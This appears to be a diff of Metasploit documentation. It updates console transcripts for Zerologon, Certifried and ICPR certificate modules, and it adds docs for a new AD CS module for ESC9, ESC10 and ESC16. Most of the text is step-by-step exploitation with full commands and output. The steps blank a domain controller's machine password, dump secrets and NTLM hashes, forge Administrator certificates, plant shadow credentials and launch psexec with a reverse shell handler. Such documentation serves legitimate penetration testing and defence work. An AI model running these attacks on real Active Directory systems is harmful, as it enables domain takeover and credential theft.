 First, exploit the vulnerability to remove the machine account password by replacing it with an empty string.

 ```
-msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53 
+msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53 
 RHOSTS => 192.168.159.53
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP
 NBNAME => WIN-GD5KVDKUNIP
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 

 Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):

@@ -75,7 +75,7 @@ Auxiliary action:
   REMOVE  Remove the machine account password


-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [*] Running module against 192.168.159.53

 [*] 192.168.159.53: - Connecting to the endpoint mapper service...
@@ -84,7 +84,7 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [+] 192.168.159.53:6403 - Successfully authenticated
 [+] 192.168.159.53:6403 - Successfully set the machine account (WIN-GD5KVDKUNIP$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
 ```

 At this point the `exploit/windows/smb/psexec` module can be used to achieve code execution if desired. Set the `SMBUser` option to the
@@ -94,14 +94,14 @@ Next, recover the original machine account password value using `auxiliary/gathe
 value in the `$MACHINE.ACC` section.

 ```
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump 
-msf6 auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump 
+msf auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53
 RHOSTS => 192.168.159.53
-msf6 auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$
+msf auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$
 SMBUser => WIN-GD5KVDKUNIP$
-msf6 auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
+msf auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
 SMBPass => aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
-msf6 auxiliary(gather/windows_secrets_dump) > run
+msf auxiliary(gather/windows_secrets_dump) > run
 [*] Running module against 192.168.159.53

 [*] 192.168.159.53:445 - Service RemoteRegistry is already running
@@ -131,18 +131,18 @@ EXCHG\WIN-GD5KVDKUNIP$:aad3b435b51404eeaad3b435b51404ee:ec3a7fa2158f1f705898d538
 No cached hashes on this system
 [*] 192.168.159.53:445 - Cleaning up...
 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/windows_secrets_dump) >
+msf auxiliary(gather/windows_secrets_dump) >
 ```

 Finally, restore the original value using this module.

 ```
-msf6 auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE 
+msf auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE 
 ACTION => RESTORE
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
 PASSWORD => 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 

 Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):

@@ -161,7 +161,7 @@ Auxiliary action:
   RESTORE  Restore the machine account password


-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [*] Running module against 192.168.159.53

 [*] 192.168.159.53: - Connecting to the endpoint mapper service...
@@ -169,5 +169,5 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [*] 192.168.159.53:6403 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.159.53[6403] ...
 [+] 192.168.159.53:6403 - Successfully set machine account (WIN-GD5KVDKUNIP$) password
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
 ```
@@ -124,7 +124,7 @@ user set in the `IMPERSONATE` option (default is `Administrator`).

 ### Windows Server 2019 Domain Controller with ADCS installed
 ```msf
-msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts=192.168.100.104 username=Test password=123456 domain=mylab.local dc_name=DC02 ca=mylab-DC02-CA
+msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts=192.168.100.104 username=Test password=123456 domain=mylab.local dc_name=DC02 ca=mylab-DC02-CA
 [*] Running module against 192.168.100.104

 [*] 192.168.100.104:445 - Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts...
@@ -169,7 +169,7 @@ msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts
 [!] 192.168.100.104:445 - Unable to delete the computer account, this will have to be done manually with an Administrator account (Could not delete the computer DESKTOP-E0SYYS6U$: Error returned while deleting user in SAM server: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.)
 [*] 192.168.100.104:445 - Disconnecting SMB
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > creds
+msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) > creds
 Credentials
 ===========

@@ -178,7 +178,7 @@ host             origin           service        public             private
 192.168.100.104  192.168.100.104  445/tcp (smb)  DESKTOP-E0SYYS6U$  4PuZlX57aULpEKXUZisjp227G0W0Rdvi                                   MYLAB        Password
 192.168.100.104  192.168.100.104  445/tcp (smb)  dc02$              aad3b435b51404eeaad3b435b51404ee:a93d16873c9d49be9b1bce4359dcaa6d  MYLAB.LOCAL  NTLM hash     nt,lm

-msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > loot
+msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) > loot

 Loot
 ====
@@ -192,7 +192,7 @@ host             service  type                 name             content

 ### Using `psexec` with the TGS impersonating the Administrator
 ```msf
-msf6 exploit(windows/smb/psexec) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 smbuser=administrator smbdomain=mylab.local Smb::Auth=kerberos Smb::Rhostname=dc02.mylab.local DomainControllerRhost=192.168.100.104
+msf exploit(windows/smb/psexec) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 smbuser=administrator smbdomain=mylab.local Smb::Auth=kerberos Smb::Rhostname=dc02.mylab.local DomainControllerRhost=192.168.100.104


 [*] Started reverse TCP handler on 192.168.100.1:4444
@@ -0,0 +1,208 @@
+## Vulnerable Application
+This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object
+attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the
+certificate template, enabling operations such as authentication. PFX certificate files generated by this module are
+encrypted with a blank password.
+
+To perform the LDAP attribute update, the module requires write privileges over the
+target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user
+before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module
+to handle LDAP attribute updates.
+
+
+This module is capable of exploiting ESC9, ESC10, and ESC16.
+
+### Setup
+Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template.
+For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
+
+## Options
+
+### LDAPUsername
+The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`.
+
+### LDAPPassword
+The password for the `LDAPUsername` account.
+
+### LDAPDomain
+The domain of the `LDAPUsername`, e.g., `demo.local`.
+
+### CA
+The target certificate authority.
+
+### CERT_TEMPLATE
+The certificate template to issue, e.g., "User".
+
+### TARGET_USERNAME
+The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
+
+### UPDATE_LDAP_OBJECT
+The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
+
+### UPDATE_LDAP_OBJECT_VALUE
+The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`.
+If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case).
+
+### ALT_UPN
+An alternate UPN (User Principal Name) to set for the target user, e.g., `Administrator@domain.local`.
+
+### ALT_SID
+An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`.
+
+### ALT_DNS
+An alternate DNS hostname to set for the target user, e.g., `host.domain.local`.
+
+## Verification Steps
+
+1. Start msfconsole
+1. Do: `use esc_update_ldap_object`
+1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME`
+1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for
+1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting
+1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator`
+1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use
+1. Run the module
+1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file.
+1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation.
+
+## Scenarios
+
+### ESC9 - Update userPrincipalName to Administrator
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
+cert_template => SpencerTest
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
+ca => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
+UPDATE_LDAP_OBJECT_VALUE => Administrator
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] No matching entries found - check device ID
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: Administrator
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+
+### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
+```
+ msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
+target_username => Test2$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
+UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
+UPDATE_LDAP_OBJECT => dNSHostName
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
+CA => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
+CERT_TEMPLATE => ESC9-Template-Dns
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
+ldapusername => Test1$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of Test2$'s dNSHostName:
+[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
+[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for Test2$
+[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin
+[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx
+[*] 172.16.199.200:445 - Removing shadow credential
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
+[*] 172.16.199.200:445 - Reverting ldap object
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
+[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+
+For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
@@ -61,6 +61,12 @@ Username to request on behalf of. This is in the format `$domain\\$username`.

 The digest algorithm to use for cryptographic signing operations.

+When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
+This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
+`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
+versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
+[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)
+
 ## Actions

 ### REQUEST_CERT
@@ -73,14 +79,14 @@ For this module to work, it's necessary to know the name of a CA and certificate
 by a normal user via LDAP.

 ```msf
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local
 BIND_DN => aliddle@msflab.local
-msf6 auxiliary(gather/ldap_query) > set BIND_PW Password1!
+msf auxiliary(gather/ldap_query) > set BIND_PW Password1!
 BIND_PW => Password1!
-msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_AD_CS_CAS
+msf auxiliary(gather/ldap_query) > set ACTION ENUM_AD_CS_CAS
 ACTION => ENUM_AD_CS_CAS
-msf6 auxiliary(gather/ldap_query) > run
+msf auxiliary(gather/ldap_query) > run
 [*] Running module against 192.168.159.10

 [+] Successfully bound to the LDAP server!
@@ -99,7 +105,7 @@ CN=msflab-DC-CA CN=Enrollment Services CN=Public Key Services CN=Services CN=Con
 name                  msflab-DC-CA

 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_query) >
+msf auxiliary(gather/ldap_query) >
 ```

 ### Issue A Generic Certificate
@@ -107,18 +113,18 @@ In this scenario, an authenticated user issues a certificate for themselves usin
 by default. The user must know the CA name, which in this case is `msflab-DC-CA`.

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
 SMBUser => aliddle
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
 SMBPass => Password1!
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
 CA => msflab-DC-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 192.168.159.10

 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
@@ -130,7 +136,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125053_default_unknown_windows.ad.cs_545696.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 ### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
@@ -154,24 +160,24 @@ See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910
 information.

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
 SMBUser => aliddle
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
 SMBPass => Password1!
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
 CA => msflab-DC-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
 CERT_TEMPLATE => ESC1-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
 ALT_UPN => smcintyre@msflab.local
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true
+msf auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true
 VERBOSE => true
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 192.168.159.10

 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
@@ -183,7 +189,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > 
+msf auxiliary(admin/dcerpc/icpr_cert) > 
 ```

 ### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2)
@@ -202,18 +208,18 @@ information.
 The first step is to issue a certificate using the vulnerable certificate template.

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
+msf > use auxiliary/admin/dcerpc/icpr_cert 
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
 SMBUser => aliddle
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
 SMBPass => Password1!
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
 CA => msflab-DC-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Test
 CERT_TEMPLATE => ESC2-Test
